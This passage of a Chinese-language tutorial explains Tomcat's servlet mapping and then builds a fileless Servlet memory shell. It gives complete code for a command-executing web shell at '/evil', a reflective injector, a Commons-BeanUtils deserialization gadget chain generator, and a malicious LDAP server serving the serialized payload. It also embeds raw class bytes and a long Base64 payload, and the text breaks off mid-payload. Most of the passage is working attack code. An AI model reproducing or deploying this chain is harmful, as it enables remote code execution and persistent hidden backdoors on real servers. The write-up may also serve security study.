registration.addUrlMappings("/servlet"); // 映射 URL
registration.setName("myCustomServlet"); // Servlet 名称
registration.setLoadOnStartup(1); // 启动时加载(可选)
return registration;
}
}
尝试访问对应的接口地址。
CoyoteAdapter.service()是Tomcat连接器(Connector)与容器(Container)之间的唯一入口,且请求URL到具体Servlet(Wrapper)的Mapper映射逻辑(postParseRequest → mapper.map())正是在此方法中完成的。这是整个调用链中最早能观察到Tomcat如何根据请求路径从StandardContext中匹配到目标Wrapper的位置,一旦映射完成,后续的StandardContextValve和StandardWrapperValve只会直接使用映射结果而不再重新查找。
一路调试下去,发现在Mapper#internalMapWrapper方法中执行代码this.internalMapExactWrapper(exactWrappers, path, mappingData),通过精确匹配接口"/servlet"进行查找对应的Servlet。
contextVersion是ContextVersion对象,它是StandardContext在Mapper中的映射表示,其内部的exactWrappers是一个 有序数组,存储了所有以精确路径注册的Servlet映射。继续分析,进入internalMapExactWrapper内部。
从MappedWrapper数组wrappers中通过二分查找定位到请求路径/myServlet对应的MappedWrapper,其内部的object字段就是StandardWrapper,StandardWrapper中持有MyCustomServlet实例,匹配成功后将该StandardWrapper设置到mappingData.wrapper中,完成从Mapper索引到目标Servlet的映射。因此若要动态添加Servlet,需要先创建StandardWrapper并将Servlet实例设置进去,再将StandardWrapper注册到StandardContext,最后将路径与StandardWrapper的映射关系写入Mapper的exactWrappers数组。
③ Servlet内存马编写
知道了上述的内容,我们就可以开始编写自己的Servlet内存马了。编写的第一步依旧是寻找到StandardContext,并向其中注入编写的恶意的Servlet,以及设置和接口的映射关系,我们依旧参考前一篇文章中获取StandardContext的代码。
//拿到了TomcatEmbeddedWebappClassLoader
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Class<?> clazz = classLoader.getClass();
while (
clazz != null &&
!clazz.getName().equals("org.apache.catalina.loader.WebappClassLoaderBase")
) {
clazz = clazz.getSuperclass();
}
try{
Field resourcesField = clazz.getDeclaredField("resources");
resourcesField.setAccessible(true);
WebResourceRoot webResourceRoot = (WebResourceRoot) resourcesField.get(classLoader);
StandardContext standardContext = (StandardContext) webResourceRoot.getContext();
System.out.println("standardContext:"+standardContext);
} catch (Exception e) {
e.printStackTrace();
}
接着开始编写最终的Servlet内存马代码,这个过程比较复杂,需要分多个代码文件实现,在这里我将将每个部分的代码给出,首先是编一个恶意的Servlet,在这个Servlet中奖实现接受命令参数并将执行结果返回,将其命名为EvilServlet.java。
package com.test;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class EvilServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream(), "GBK"));
StringBuilder sb = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
sb.append(line).append("\n");
}
reader.close();
resp.setContentType("text/html;charset=UTF-8");
resp.getWriter().write("<pre>" + sb.toString() + "</pre>");
} catch (Exception e) {
e.printStackTrace(resp.getWriter());
}
return;
}
resp.sendError(HttpServletResponse.SC_NOT_FOUND);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
doGet(req, resp);
}
}
接着编写一个转换文件获取EvilServlet.class的字节码,将其命名为ByteArrayDumper.java。
package com.test;
import java.nio.file.*;
public class ByteArrayDumper {
public static void main(String[] args) throws Exception {
//注意EvilServlet的真实路径
byte[] data = Files.readAllBytes(Paths.get("./EvilServlet.class"));
StringBuilder sb = new StringBuilder();
sb.append("new byte[]{");
for (int i = 0; i < data.length; i++) {
if (i > 0) sb.append(",");
sb.append(data[i]);
}
sb.append("}");
System.out.println(sb.toString());
}
}
接着编写获取StandardContext以及注入EvilServlet的代码文件,将其命名为MemInject.java。
package com.test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardWrapper;
import org.apache.catalina.WebResourceRoot;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class MemInject extends AbstractTranslet {
//EvilServlet.class 字节数组
private static final byte[] EVIL_CLASS_BYTES = new byte[]{
-54,-2,-70,-66,0,0,0,52,0,-121,10,0,31,0,71,8,0,55,11,0,72,0,73,10,0,74,0,75,10,0,74,0,76,7,0,77,7,0,78,10,0,79,0,80,8,0,81,10,0,7,0,82,10,0,6,0,83,7,0,84,10,0,12,0,71,10,0,6,0,85,10,0,12,0,86,8,0,87,10,0,6,0,88,8,0,89,11,0,27,0,90,11,0,27,0,91,8,0,92,10,0,12,0,93,8,0,94,10,0,95,0,96,7,0,97,10,0,25,0,98,7,0,99,11,0,27,0,100,10,0,30,0,101,7,0,102,7,0,103,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,22,76,99,111,109,47,116,101,115,116,47,69,118,105,108,83,101,114,118,108,101,116,59,1,0,5,100,111,71,101,116,1,0,82,40,76,106,97,118,97,120,47,115,101,114,118,108,101,116,47,104,116,116,112,47,72,116,116,112,83,101,114,118,108,101,116,82,101,113,117,101,115,116,59,76,106,97,118,97,120,47,115,101,114,118,108,101,116,47,104,116,116,112,47,72,116,116,112,83,101,114,118,108,101,116,82,101,115,112,111,110,115,101,59,41,86,1,0,7,112,114,111,99,101,115,115,1,0,19,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,6,114,101,97,100,101,114,1,0,24,76,106,97,118,97,47,105,111,47,66,117,102,102,101,114,101,100,82,101,97,100,101,114,59,1,0,2,115,98,1,0,25,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,66,117,105,108,100,101,114,59,1,0,4,108,105,110,101,1,0,18,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,1,101,1,0,21,76,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,59,1,0,3,114,101,113,1,0,39,76,106,97,118,97,120,47,115,101,114,118,108,101,116,47,104,116,116,112,47,72,116,116,112,83,101,114,118,108,101,116,82,101,113,117,101,115,116,59,1,0,4,114,101,115,112,1,0,40,76,106,97,118,97,120,47,115,101,114,118,108,101,116,47,104,116,116,112,47,72,116,116,112,83,101,114,118,108,101,116,82,101,115,112,111,110,115,101,59,1,0,3,99,109,100,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,102,7,0,104,7,0,99,7,0,105,7,0,106,7,0,77,7,0,84,7,0,97,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,107,1,0,16,77,101,116,104,111,100,80,97,114,97,109,101,116,101,114,115,1,0,6,100,111,80,111,115,116,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,16,69,118,105,108,83,101,114,118,108,101,116,46,106,97,118,97,12,0,32,0,33,7,0,104,12,0,108,0,109,7,0,110,12,0,111,0,112,12,0,113,0,114,1,0,22,106,97,118,97,47,105,111,47,66,117,102,102,101,114,101,100,82,101,97,100,101,114,1,0,25,106,97,118,97,47,105,111,47,73,110,112,117,116,83,116,114,101,97,109,82,101,97,100,101,114,7,0,106,12,0,115,0,116,1,0,3,71,66,75,12,0,32,0,117,12,0,32,0,118,1,0,23,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,66,117,105,108,100,101,114,12,0,119,0,120,12,0,121,0,122,1,0,1,10,12,0,123,0,33,1,0,23,116,101,120,116,47,104,116,109,108,59,99,104,97,114,115,101,116,61,85,84,70,45,56,12,0,124,0,125,12,0,126,0,127,1,0,5,60,112,114,101,62,12,0,-128,0,120,1,0,6,60,47,112,114,101,62,7,0,-127,12,0,-126,0,125,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,12,0,-125,0,-124,1,0,38,106,97,118,97,120,47,115,101,114,118,108,101,116,47,104,116,116,112,47,72,116,116,112,83,101,114,118,108,101,116,82,101,115,112,111,110,115,101,12,0,-123,0,-122,12,0,39,0,40,1,0,20,99,111,109,47,116,101,115,116,47,69,118,105,108,83,101,114,118,108,101,116,1,0,30,106,97,118,97,120,47,115,101,114,118,108,101,116,47,104,116,116,112,47,72,116,116,112,83,101,114,118,108,101,116,1,0,37,106,97,118,97,120,47,115,101,114,118,108,101,116,47,104,116,116,112,47,72,116,116,112,83,101,114,118,108,101,116,82,101,113,117,101,115,116,1,0,16,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,1,0,17,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,1,0,19,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,1,0,12,103,101,116,80,97,114,97,109,101,116,101,114,1,0,38,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,14,103,101,116,73,110,112,117,116,83,116,114,101,97,109,1,0,23,40,41,76,106,97,118,97,47,105,111,47,73,110,112,117,116,83,116,114,101,97,109,59,1,0,42,40,76,106,97,118,97,47,105,111,47,73,110,112,117,116,83,116,114,101,97,109,59,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,19,40,76,106,97,118,97,47,105,111,47,82,101,97,100,101,114,59,41,86,1,0,8,114,101,97,100,76,105,110,101,1,0,20,40,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,6,97,112,112,101,110,100,1,0,45,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,66,117,105,108,100,101,114,59,1,0,5,99,108,111,115,101,1,0,14,115,101,116,67,111,110,116,101,110,116,84,121,112,101,1,0,21,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,9,103,101,116,87,114,105,116,101,114,1,0,23,40,41,76,106,97,118,97,47,105,111,47,80,114,105,110,116,87,114,105,116,101,114,59,1,0,8,116,111,83,116,114,105,110,103,1,0,19,106,97,118,97,47,105,111,47,80,114,105,110,116,87,114,105,116,101,114,1,0,5,119,114,105,116,101,1,0,15,112,114,105,110,116,83,116,97,99,107,84,114,97,99,101,1,0,24,40,76,106,97,118,97,47,105,111,47,80,114,105,110,116,87,114,105,116,101,114,59,41,86,1,0,9,115,101,110,100,69,114,114,111,114,1,0,4,40,73,41,86,0,33,0,30,0,31,0,0,0,0,0,3,0,1,0,32,0,33,0,1,0,34,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,35,0,0,0,6,0,1,0,0,0,10,0,36,0,0,0,12,0,1,0,0,0,5,0,37,0,38,0,0,0,4,0,39,0,40,0,3,0,34,0,0,1,-94,0,6,0,8,0,0,0,-98,43,18,2,-71,0,3,2,0,78,45,-58,0,-118,-72,0,4,45,-74,0,5,58,4,-69,0,6,89,-69,0,7,89,25,4,-74,0,8,18,9,-73,0,10,-73,0,11,58,5,-69,0,12,89,-73,0,13,58,6,25,5,-74,0,14,89,58,7,-58,0,19,25,6,25,7,-74,0,15,18,16,-74,0,15,87,-89,-1,-24,25,5,-74,0,17,44,18,18,-71,0,19,2,0,44,-71,0,20,1,0,-69,0,12,89,-73,0,13,18,21,-74,0,15,25,6,-74,0,22,-74,0,15,18,23,-74,0,15,-74,0,22,-74,0,24,-89,0,16,58,4,25,4,44,-71,0,20,1,0,-74,0,26,-79,44,17,1,-108,-71,0,28,2,0,-79,0,1,0,13,0,-125,0,-122,0,25,0,3,0,35,0,0,0,70,0,17,0,0,0,13,0,9,0,14,0,13,0,16,0,22,0,17,0,32,0,18,0,45,0,19,0,54,0,21,0,65,0,22,0,81,0,24,0,86,0,25,0,94,0,26,0,-125,0,29,0,-122,0,27,0,-120,0,28,0,-109,0,30,0,-108,0,32,0,-99,0,33,0,36,0,0,0,92,0,9,0,22,0,109,0,41,0,42,0,4,0,45,0,86,0,43,0,44,0,5,0,54,0,77,0,45,0,46,0,6,0,62,0,69,0,47,0,48,0,7,0,-120,0,11,0,49,0,50,0,4,0,0,0,-98,0,37,0,38,0,0,0,0,0,-98,0,51,0,52,0,1,0,0,0,-98,0,53,0,54,0,2,0,9,0,-107,0,55,0,48,0,3,0,56,0,0,0,60,0,5,-1,0,54,0,7,7,0,57,7,0,58,7,0,59,7,0,60,7,0,61,7,0,62,7,0,63,0,0,-4,0,26,7,0,60,-1,0,52,0,4,7,0,57,7,0,58,7,0,59,7,0,60,0,1,7,0,64,12,0,0,65,0,0,0,4,0,1,0,66,0,67,0,0,0,9,2,0,51,0,0,0,53,0,0,0,4,0,68,0,40,0,3,0,34,0,0,0,73,0,3,0,3,0,0,0,7,42,43,44,-74,0,29,-79,0,0,0,2,0,35,0,0,0,10,0,2,0,0,0,37,0,6,0,38,0,36,0,0,0,32,0,3,0,0,0,7,0,37,0,38,0,0,0,0,0,7,0,51,0,52,0,1,0,0,0,7,0,53,0,54,0,2,0,65,0,0,0,4,0,1,0,66,0,67,0,0,0,9,2,0,51,0,0,0,53,0,0,0,1,0,69,0,0,0,2,0,70
};
static {
try {
// 1. 获取 StandardContext
StandardContext ctx = getStandardContext();
// 2. 定义 EvilServlet 类(注意全限定名!)
ClassLoader loader = Thread.currentThread().getContextClassLoader();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> servletClass = (Class<?>) defineClass.invoke(
loader, "com.test.EvilServlet", EVIL_CLASS_BYTES, 0, EVIL_CLASS_BYTES.length);
// 3. 注册并启动 Servlet
StandardWrapper wrapper = (StandardWrapper) ctx.createWrapper();
wrapper.setName("EvilServlet");
wrapper.setLoadOnStartup(1);
wrapper.setServletClass(servletClass.getName()); // 自动得到全限定名
ctx.addChild(wrapper);
// 4. 添加映射(兼容多版本)
addServletMapping(ctx, "/evil", "EvilServlet");
wrapper.load();
} catch (Throwable e) {
e.printStackTrace();
}
}
private static StandardContext getStandardContext() throws Exception {
ClassLoader loader = Thread.currentThread().getContextClassLoader();
Class<?> clazz = loader.getClass();
while (clazz != null &&
!clazz.getName().equals("org.apache.catalina.loader.WebappClassLoaderBase")) {
clazz = clazz.getSuperclass();
}
if (clazz == null) throw new RuntimeException("Not in Tomcat");
Field f = clazz.getDeclaredField("resources");
f.setAccessible(true);
WebResourceRoot root = (WebResourceRoot) f.get(loader);
return (StandardContext) root.getContext();
}
private static void addServletMapping(StandardContext ctx, String pattern, String name) throws Exception {
try {
Method m = StandardContext.class.getMethod("addServletMappingDecoded", String.class, String.class);
m.invoke(ctx, pattern, name);
return;
} catch (NoSuchMethodException ignored) {}
try {
Method m = StandardContext.class.getMethod("addServletMapping", String.class, String.class);
m.invoke(ctx, pattern, name);
return;
} catch (NoSuchMethodException ignored) {}
try {
Method m = StandardContext.class.getMethod("addServletMapping", String.class, String.class, boolean.class);
m.invoke(ctx, pattern, name, true);
return;
} catch (NoSuchMethodException ignored) {}
try {
Method m = StandardContext.class.getMethod("addServletMapping", String.class, String.class, String[].class);
m.invoke(ctx, pattern, name, null);
return;
} catch (NoSuchMethodException ignored) {}
// 兜底
Field mappingsField = StandardContext.class.getDeclaredField("servletMappings");
mappingsField.setAccessible(true);
java.util.Map<String, String> mappings = (java.util.Map<String, String>) mappingsField.get(ctx);
mappings.put(pattern, name);
}
@Override public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
@Override public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
接着编写利用CB链下入Servlet内存马注入逻辑的payload生成文件,将其命名为ExploitGen.java。
package com.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class ExploitGen {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "MemInject");
byte[] code = Files.readAllBytes(Paths.get("./MemInject.class")); //注意MemInject.class的真实路径
byte[][] codes = {code};
Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, codes);
TransformerFactoryImpl factory = new TransformerFactoryImpl();
Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates, factory);
Class<?> c = Class.forName("java.lang.String$CaseInsensitiveComparator");
Constructor<?> constructor = c.getDeclaredConstructor();
constructor.setAccessible(true);
Comparator<?> comparator = (Comparator<?>) constructor.newInstance();
BeanComparator beanComparator = new BeanComparator<>("outputProperties", comparator);
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(beanComparator);
Field size = PriorityQueue.class.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue, 2);
Field queue = PriorityQueue.class.getDeclaredField("queue");
queue.setAccessible(true);
Object[] q = (Object[]) queue.get(priorityQueue);
q[0] = templates;
q[1] = templates;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(priorityQueue);
oos.close();
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
}
接着编写LDAP服务器,这里参考第5小节中的LDAP服务器改造一下即可。
package com.test;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import java.net.InetAddress;
public class JNDILDAPServer {
public static void main(String[] args) {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setSchema(null);
config.setListenerConfigs(
InMemoryListenerConfig.createLDAPConfig("ldap", InetAddress.getByName("0.0.0.0"), 1389, null)
);
// 注册操作拦截器,拦截所有查询请求并返回恶意反序列化数据
config.addInMemoryOperationInterceptor(new CBDeserializeInterceptor());
InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);
server.startListening();
System.out.println("LDAP 服务器已启动在 ldap://0.0.0.0:1389");
// 添加基础条目,使搜索能够成功
server.add(
"dn: dc=example,dc=com",
"objectClass: top",
"objectClass: domain",
"dc: example"
);
System.out.println("恶意条目已绑定,任意查找请求均返回反序列化 payload");
System.out.println("按回车键关闭服务器...");
System.in.read();
server.shutDown(true);
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* 自定义 LDAP 操作拦截器,拦截所有搜索请求并返回包含 CB 链序列化数据的条目
*/
private static class CBDeserializeInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
// 1. 添加 javaClassName(非必需,但可辅助标识)
e.addAttribute("javaClassName", "java.lang.Object");
// 2. 设置 javaSerializedData 属性
// 这里填入你用 Exploit 生成的 Base64 编码 payload(完整)
String payloadBase64 = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAURXK/rq+AAAANADfCgA4AHcKAHgAeQoAeAB6CgAXAHsKABQAfAgAfQoAFQB+CgAUAH8HAIAIAIEKAAkAgggAgwoAFACECgCFAIYKAIUAhwcAiAsAEACJBwCKCACLBwCMBwCNCgAUAI4HAI8KAJAAkQcAkggAUwkAkwCUCgCTAJUHAJYIAJcHAJgLAB8AmQkANwCaCgA3AJsHAJwIAG4HADoJAJ0AlAoAFACeCgCQAIYIAJ8KAJ0AoAoAEgChBwCiCACjCgAsAKQKACwApQoALACmCgASAKcIAKgKADcAqQoALACqBwCrCgA1AKwHAK0HAK4BABBFVklMX0NMQVNTX0JZVEVTAQACW0IBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFExjb20vdGVzdC9NZW1JbmplY3Q7AQASZ2V0U3RhbmRhcmRDb250ZXh0AQAsKClMb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL1N0YW5kYXJkQ29udGV4dDsBAAZsb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABWNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBAAFmAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABHJvb3QBACVMb3JnL2FwYWNoZS9jYXRhbGluYS9XZWJSZXNvdXJjZVJvb3Q7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQANU3RhY2tNYXBUYWJsZQcAnAcAjAEACkV4Y2VwdGlvbnMHAK8BABFhZGRTZXJ2bGV0TWFwcGluZwEAUShMb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL1N0YW5kYXJkQ29udGV4dDtMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgEAAW0BABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAA2N0eAEAKkxvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvU3RhbmRhcmRDb250ZXh0OwEAB3BhdHRlcm4BABJMamF2YS9sYW5nL1N0cmluZzsBAARuYW1lAQANbWFwcGluZ3NGaWVsZAEACG1hcHBpbmdzAQAPTGphdmEvdXRpbC9NYXA7AQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsHAJIBABBNZXRob2RQYXJhbWV0ZXJzAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQABZAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEAAWgBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHALABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQABaQEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAC2RlZmluZUNsYXNzAQAMc2VydmxldENsYXNzAQAHd3JhcHBlcgEAKkxvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvU3RhbmRhcmRXcmFwcGVyOwEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsHAKsBAApTb3VyY2VGaWxlAQAOTWVtSW5qZWN0LmphdmEMADsAPAcAsQwAsgCzDAC0ALUMALYAtwwAuAC5AQAwb3JnLmFwYWNoZS5jYXRhbGluYS5sb2FkZXIuV2ViYXBwQ2xhc3NMb2FkZXJCYXNlDAC6ALsMALwAtwEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uAQANTm90IGluIFRvbWNhdAwAOwC9AQAJcmVzb3VyY2VzDAC+AL8HAMAMAMEAwgwAwwDEAQAjb3JnL2FwYWNoZS9jYXRhbGluYS9XZWJSZXNvdXJjZVJvb3QMAMUAxgEAKG9yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9TdGFuZGFyZENvbnRleHQBABhhZGRTZXJ2bGV0TWFwcGluZ0RlY29kZWQBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvU3RyaW5nDADHAMgBABBqYXZhL2xhbmcvT2JqZWN0BwDJDADKAMsBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uBwDMDADNAEcMAM4AzwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAA9zZXJ2bGV0TWFwcGluZ3MBAA1qYXZhL3V0aWwvTWFwDADQANEMADkAOgwAQgBDAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyBwDSDADTAMgBABRjb20udGVzdC5FdmlsU2VydmxldAwAzgDUDADVANYBAChvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvU3RhbmRhcmRXcmFwcGVyAQALRXZpbFNlcnZsZXQMANcAvQwA2ADZDADaAL0MANsA3AEABS9ldmlsDABTAFQMAN0APAEAE2phdmEvbGFuZy9UaHJvd2FibGUMAN4APAEAEmNvbS90ZXN0L01lbUluamVjdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAdnZXROYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1nZXRTdXBlcmNsYXNzAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACmdldENvbnRleHQBAB8oKUxvcmcvYXBhY2hlL2NhdGFsaW5hL0NvbnRleHQ7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xh